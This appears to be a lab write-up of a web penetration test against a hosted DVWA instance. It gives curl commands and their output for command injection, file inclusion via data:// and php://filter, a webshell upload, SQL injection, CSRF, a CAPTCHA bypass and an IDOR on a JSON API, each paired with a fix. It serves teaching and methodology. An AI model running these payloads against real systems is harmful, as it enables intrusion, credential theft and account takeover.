11 minute read

Target
pentest-ground.com:4280
Environment
Lab
Framework
Web App (OWASP WSTG)
Date
2026-05-05
5
Critical
7
High
5
Medium
3
Low
20
Confirmed
52
Checks Run

What We Found — TL;DR

This is a full walkthrough of a BlackOps web assessment against pentest-ground.com — a hosted DVWA instance running on port 4280. DVWA is intentionally vulnerable, so the point here isn’t surprise — it’s methodology. Every step, every command, every decision is documented so you can follow the same process on any target.

What to expect reading this:

  • A PHP server with the worst possible configuration (allow_url_include=On, zero disable_functions, no open_basedir) — RCE was on the table from the very first request
  • Three completely independent paths to OS code execution
  • SQL injection in both error-based and blind flavours
  • XSS + missing cookie flags = instant session hijack
  • A CAPTCHA that doesn’t work because the keys were never configured
  • A full animated kill chain tying all 20 findings into 4 complete compromise paths
⚡ Quick Summary — What Was Exploited
⬤ CRITICAL Command Injection — /exec/ → OS shell as www-data · CWE-77 · OWASP A03
⬤ CRITICAL File Inclusion LFI+RFI — /fi/?page=data:// → RCE without upload · CWE-98
⬤ CRITICAL PHP Filter Wrapper — php://filter → DB credentials extracted · CWE-22
⬤ CRITICAL File Upload — shell.php + spoofed MIME → webshell RCE · CWE-434
⬤ CRITICAL SQL Injection — Error-based + Blind → full DB dump · CWE-89 · OWASP A03
⬤ HIGH     Default Credentials — admin:password → instant auth bypass
⬤ HIGH     CSRF — no token on password change → silent account takeover
⬤ HIGH     XSS (Reflected + DOM) + no HttpOnly → PHPSESSID theft

Tools used: nmap · curl · sqlmap · Burp Suite

Legal notice: This assessment was conducted on an intentionally vulnerable lab platform with explicit authorisation. Do not replicate against systems you don't own.


Information Gathering

Before touching the target actively I wanted to understand what I was working with. The very first request told me almost everything.

INFORMATION GATHERING — TARGET PROFILE
🎯 pentest-ground.com:4280
nginx/1.29.8
+
PHP/8.5.5
Session Cookies
✖ No HttpOnly · No Secure · No SameSite
Security Headers
✖ All absent · No CSP · No HSTS · No XFO
phpinfo.php
⚠ allow_url_include=On · disable_functions=(none)
$ curl -sk -I https://pentest-ground.com:4280/
HTTP/1.1 200 OK Server: nginx/1.29.8 X-Powered-By: PHP/8.5.5 Set-Cookie: PHPSESSID=...; path=/ Set-Cookie: security=low; path=/ # No HttpOnly, No Secure, No SameSite on either cookie # No X-Frame-Options, No CSP, No HSTS anywhere in response

Right away the Server and X-Powered-By headers handed me exact version numbers. But what caught my eye immediately was the session cookie — no HttpOnly, no Secure, no SameSite. Any XSS finding on this server is automatically a session hijack.

F-014 LOW · 3.1
Technology Version Disclosure
Server: nginx/1.29.8 · X-Powered-By: PHP/8.5.5

phpinfo.php — The Request That Decided Everything

$ curl -sk https://pentest-ground.com:4280/phpinfo.php | grep -E "allow_url|disable_functions|open_basedir|PHP Version"
PHP Version 8.5.5 Document Root: /var/www/html allow_url_include: On ← enables RFI + data:// RCE allow_url_fopen: On disable_functions: (none) ← every shell function available open_basedir: (none) ← no filesystem jail expose_php: On Linux 5fac928027e6 5.10.0-39-amd64

That output made three things immediately certain: RFI is possible, every PHP shell function works, and there is no filesystem jail. From this point I knew OS-level RCE was available. The question wasn’t if — it was how many ways.

F-007 HIGH · 7.5
phpinfo.php Publicly Accessible
https://pentest-ground.com:4280/phpinfo.php · No authentication required
Fix: Delete phpinfo.php from all environments. Set expose_php=Off in php.ini.

Port Scan

PORT & SERVICE MAP
:4280
HTTPS / App ⚠
:80
nginx
:443
HTTPS
:3306
MySQL closed
:22
SSH closed
$ nmap -p 80,443,4280,8080,3306,22 pentest-ground.com -sV
PORT STATE SERVICE VERSION 80/tcp open http nginx 1.29.8 443/tcp open ssl/http nginx 1.29.8 4280/tcp open ssl/http nginx 1.29.8 3306/tcp closed mysql 22/tcp closed ssh

Minimal exposure — three ports, all nginx. No database or SSH externally. The web application is the only attack surface.


Enumeration

With the server fingerprinted I moved into active enumeration — logging in, mapping endpoints, building a full picture before touching anything offensively.

Default Credentials

$ curl -sk -c cookies.txt -b cookies.txt -X POST "https://pentest-ground.com:4280/login.php" \ --data "username=admin&password=password&Login=Login" -I | grep Location
HTTP/1.1 302 Found → /index.php PHPSESSID=3639049583bfaf90f73cec1436551ac8 # authenticated

Straight in. One attempt, no challenge. All five default DVWA accounts authenticate.

F-034 HIGH · 8.1
Default Credentials — admin:password
POST /login.php · Immediate authentication on first attempt
Fix: Change all default credentials. Enforce a strong password policy.
Set-Cookie: security=low; path=/ Set-Cookie: PHPSESSID=3639049583bfaf90f73cec1436551ac8; path=/ # HttpOnly: missing · Secure: missing · SameSite: missing

No HttpOnly means JavaScript can read PHPSESSID. Every XSS on this server is a direct session hijack.

F-013 MEDIUM · 5.3
Missing HttpOnly + Secure Flags on Session Cookies
Fix: session.cookie_httponly=1, session.cookie_secure=1, session.cookie_samesite=Strict in php.ini.

Vulnerability Analysis

By this point: dangerous PHP config confirmed, default creds working, cookies unprotected. I built a prioritised shortlist before exploitation.

VULNERABILITY SHORTLIST — PRIORITISED
CRITICALCommand Injection — /exec/9.8
CRITICALFile Inclusion LFI + RFI via data://9.8
CRITICALphp://filter → Source + DB credentials9.1
CRITICALUnrestricted File Upload → Webshell RCE9.0
CRITICALSQL Injection — Error-Based + Blind Boolean9.8
HIGHDefault Credentials — admin:password8.1
HIGHAuth Bypass / IDOR JSON API8.1
HIGHXSS Reflected + DOM — + No HttpOnly → session hijack7.4
HIGHCSRF — No Token on Password Change7.1

Items 1–5 all pointed at the same PHP configuration confirmed in recon. Three independent paths to RCE before I even touched the application logic. I started there.


Exploitation

F-001 — Command Injection (OS RCE)

CRITICAL · 9.8

Attacker
― ip=127.0.0.1|id ―►
POST /exec/
― uid=33(www-data) ―►
OS RCE ✓

The /vulnerabilities/exec/ endpoint is a ping tool. My first instinct: try a pipe character. If the input hits the shell unescaped, a pipe lets me chain my own command.

$ curl -sk -b "security=low; PHPSESSID=..." -X POST \ "https://pentest-ground.com:4280/vulnerabilities/exec/" \ --data "ip=127.0.0.1|id&Submit=Submit"
uid=33(www-data) gid=33(www-data) groups=33(www-data) Linux 5fac928027e6 5.10.0-39-amd64 #1 SMP Debian

That’s the moment. www-data staring back at me. No filtering, no escaping, nothing. I pushed further to read /etc/passwd and confirm full filesystem access. Three independent RCE paths confirmed by end of testing.

Fix: Use escapeshellarg() on all input. Avoid shell wrappers. Restrict with disable_functions.

F-002 — File Inclusion (LFI + RFI via data://)

CRITICAL · 9.8

Attacker
― page=data:// ―►
GET /fi/
― include() executes ―►
RCE ✓

The page GET parameter goes straight to PHP's include(). LFI confirmed with /etc/passwd. Then with allow_url_include=On I went further — the data:// wrapper executes PHP code from the URL. No file upload needed.

$ curl -sk -b "security=low; PHPSESSID=..." \ "https://pentest-ground.com:4280/vulnerabilities/fi/?page=data://text/plain,<?php%20echo%20shell_exec('id');%20?>"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Second independent RCE path. Same endpoint, different wrapper, complete code execution.

Fix: Whitelist allowed page values. Set allow_url_include=Off. Never pass user input to include().

F-019 + F-020 — PHP Filter Wrapper → Database Credentials

CRITICAL · 9.1

Attacker
― php://filter ―►
GET /fi/
― base64 source ―►
dvwa:p@ssw0rd ✓

Still the same LFI endpoint — but php://filter reads PHP source without executing it. I targeted the database config file and got credentials in plaintext.

$ curl -sk -b "security=low; PHPSESSID=..." \ "https://pentest-ground.com:4280/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=/var/www/html/config/config.inc.php" \ | base64 -d
$_DVWA['db_user'] = 'dvwa'; $_DVWA['db_password'] = 'p@ssw0rd'; $_DVWA['db_server'] = '127.0.0.1'; $_DVWA['db_port'] = '3306'; $_DVWA['recaptcha_public_key'] = ''; ← confirms CAPTCHA bypass $_DVWA['recaptcha_private_key'] = '';

Database credentials in plaintext. The empty reCAPTCHA keys also structurally confirmed the CAPTCHA bypass before I even tested it.

Fix: Store credentials in environment variables. Block php:// wrappers. Rotate credentials after any LFI.

F-003 — Unrestricted File Upload → Webshell RCE

CRITICAL · 9.0

Attacker
― shell.php;type=image/jpeg ―►
POST /upload/
― GET /hackable/uploads/ ―►
Webshell ✓

The upload endpoint only checks the Content-Type header — which I control completely.

$ curl -sk -b "security=low; PHPSESSID=..." \ -F "uploaded=@shell.php;type=image/jpeg" -F "Upload=Upload" \ "https://pentest-ground.com:4280/vulnerabilities/upload/"
../../hackable/uploads/shell.php succesfully uploaded!
$ curl -sk -b "..." "https://pentest-ground.com:4280/hackable/uploads/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data) # Shell removed post-testing — confirmed 404 on re-check

Third independent RCE path. Removed the shell immediately.

Fix: Validate extensions server-side with an allowlist. Rename uploads randomly. Serve from a non-PHP-executing directory.

F-004 + F-005 — SQL Injection (Error-Based + Blind)

CRITICAL · 9.8

Attacker
― id=1' ―►
GET /sqli/
― raw SQL error ―►
DB Exposed ✓

The single-quote test — always where I start.

$ curl -sk -b "security=low; PHPSESSID=..." \ "https://pentest-ground.com:4280/vulnerabilities/sqli/?id=1'&Submit=Submit"
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax SELECT first_name, last_name FROM users WHERE user_id = '1'' in /var/www/html/vulnerabilities/sqli/source/low.php:11

The error returns the raw SQL query, source file path, and line number. The blind variant on /sqli_blind/ confirmed via boolean-based conditional response size difference — full extraction via sqlmap.

Fix: PDO prepared statements with parameterised queries. Disable display_errors in production.

F-008 + F-009 — Reflected XSS + DOM-Based XSS

HIGH · 7.4

Attacker
― XSS payload ―►
Victim Browser
― JS reads cookie ―►
PHPSESSID Stolen ✓

Reflected XSS: name parameter echoed without encoding. DOM XSS: lang=location.search written to DOM via document.write() — never touches the server, bypasses server-side encoding entirely. Combined with missing HttpOnly (F-013), both are instant session hijacks.

Fix: htmlspecialchars() all server output. Use textContent not document.write(). Add HttpOnly to session cookies.

F-010 — CSRF on Password Change

HIGH · 7.1

Attacker Page
― silent form POST ―►
POST /csrf/
― no token check ―►
Password Changed ✓
$ curl -sk -b "security=low; PHPSESSID=VICTIM_SESSION" -X POST \ "https://pentest-ground.com:4280/vulnerabilities/csrf/" \ --data "password_new=attacker123&password_conf=attacker123&Change=Change"
Password Changed.

No token, no origin check. Any page on the internet can silently change an authenticated user's password.

Fix: Synchroniser token pattern. Set SameSite=Strict on session cookies.

F-016 — Predictable Sequential Session IDs

HIGH · 7.5

$ for i in 1 2 3 4 5; do curl -sk -b "..." -X POST \ "https://pentest-ground.com:4280/vulnerabilities/weak_id/" \ --data "Generate=Generate" -I | grep dvwaSession; done
dvwaSession=1 dvwaSession=2 dvwaSession=3 dvwaSession=4 dvwaSession=5

Sequential integers. Observe any valid token, enumerate every other active session by incrementing.

Fix: bin2hex(random_bytes(32)) in PHP. Never use sequential or time-based token values.

F-011 + F-018 — Brute Force + CAPTCHA Bypass

MEDIUM · 5.3 HIGH · 7.5

Five rapid attempts — no lockout, no delay, no CAPTCHA. The CAPTCHA module has a logic flaw: step 2 never validates step 1 was completed. And from F-020, reCAPTCHA keys were empty anyway.

$ curl -sk -b "..." -X POST "https://pentest-ground.com:4280/vulnerabilities/captcha/" \ --data "step=2&password_new=Pwned123!&password_conf=Pwned123!&Change=Change"
# Password change query executed — step=1 challenge never validated server-side
Fix: Lockout after N failures. Validate CAPTCHA server-side before state changes. Configure reCAPTCHA keys.

F-012 — CSP Bypass via Unsafe Allowlisted Domains

MEDIUM · 5.4

$ curl -sk -b "..." -I "https://pentest-ground.com:4280/vulnerabilities/csp/" | grep -i content-security
Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com

pastebin.com is user-writable. Post a malicious script there, reference it via &lt;script src="https://pastebin.com/raw/PAYLOAD"&gt; and the CSP allows it.

Fix: Remove user-writable domains from script-src. Use nonce-based or hash-based CSP.

F-021 — Auth Bypass / IDOR on JSON API

HIGH · 8.1

Anon User
― no session cookie ―►
POST /change_user_details.php
― no auth check ―►
Admin tampered ✓
$ curl -sk -b "..." -X POST \ "https://pentest-ground.com:4280/vulnerabilities/authbypass/change_user_details.php" \ -H "Content-Type: application/json" \ -d '{"id":1,"first_name":"Hacked","surname":"ByBlackOps"}'
UPDATE users SET first_name=... WHERE user_id=1 # IDOR confirmed — no authorisation check on user ID parameter
Fix: Enforce server-side authorisation on every API endpoint. Validate caller's session owns the requested resource.

Post-Exploitation

At this point the application is fully compromised. Here is what an attacker can reach and how each finding feeds the next.

ACCESS TREE — WHAT WAS REACHABLE
▣ Chain A: 3x RCE → OS shell as www-data
↳ F-001 cmd inject  |  F-002 LFI+data://  |  F-003 file upload → 3 independent paths
↳ F-019/020 php://filter → dvwa:p@ssw0rd from config.inc.php
▣ Chain B: SQLi → full MySQL database dump
↳ F-004 error-based  |  F-005 blind boolean → users, sessions, all tables
▣ Chain C: Account Takeover → any user
↳ F-011 no rate limit + F-018 CAPTCHA bypass + F-016 sequential IDs + F-010 CSRF
▣ Chain D: Client-Side → session hijack
↳ F-008/009 XSS + F-013 no HttpOnly → PHPSESSID via JS  |  F-012 CSP bypass via pastebin

Kill Chain

ATTACK FLOW — pentest-ground.com:4280
CHAIN A · CRITICAL · 9.8 Remote Code Execution — 3 Independent Paths
💻
Attacker
ip=127.0.0.1|id
cmd inject / LFI / upload
🐙
PHP / DVWA
no sanitisation
allow_url_include=On
shell_exec / include()
💻
OS Shell
uid=33(www-data)
full RCE

CHAIN B · CRITICAL · 9.8 Full Database Access
💻
Attacker
id=1'
GET /sqli/ error-based
🌐
DVWA App
raw string concat
no parameterisation
sqlmap --dbs
🖷
Database
users · sessions
all tables dumped

CHAIN C · HIGH · 7.5 Account Takeover
💻
Attacker
unlimited guesses
F-011 no rate limit
F-018 CAPTCHA bypass
🔒
Auth Layer
no lockout
step=2 bypass
F-010 CSRF
F-016 seq session IDs
👤
Any Account
password changed
full takeover

CHAIN D · HIGH · 7.4 Client-Side → Session Hijack
💻
Attacker
XSS payload
via pastebin CSP
F-008/009 XSS
F-012 CSP bypass
🌐
Victim Browser
JS executes
no HttpOnly
document.cookie
exfil to attacker
🍪
PHPSESSID
session stolen
full account access
⬤ 5 CRITICAL ⬤ 7 HIGH ⬤ 5 MEDIUM ✓ 4 chains confirmed 0 false positives

Key Takeaways

The thing that stands out most is how one misconfigured PHP directive — allow_url_include=On — unlocked an entire category of critical attacks. Without it, the LFI stays limited to file reads. With it, that same endpoint becomes code execution via data://. That's the difference between a HIGH and a CRITICAL, from a single setting.

Three independent paths to OS code execution is the other striking part. Any one of them would be sufficient. All three existing simultaneously means there is no single fix. Defence in depth failed at every layer.

The findings also amplified each other: XSS became session hijacking because cookies lacked HttpOnly, CAPTCHA protected nothing because the keys were unconfigured and the step flow was bypassable, CSP protected nothing because the allowlist included user-writable domains, and LFI became credential theft because the database config lived in the web root.

None of these are obscure. Every one is in the OWASP Top 10 and has a well-documented fix. The pattern is the same as in production — individual settings that seem minor compounding into critical compromise paths.


Assessment conducted using BlackOps pentesting framework. All testing performed on an authorised lab environment. Findings documented for educational purposes.

☕ Buy Me a Coffee    Patreon →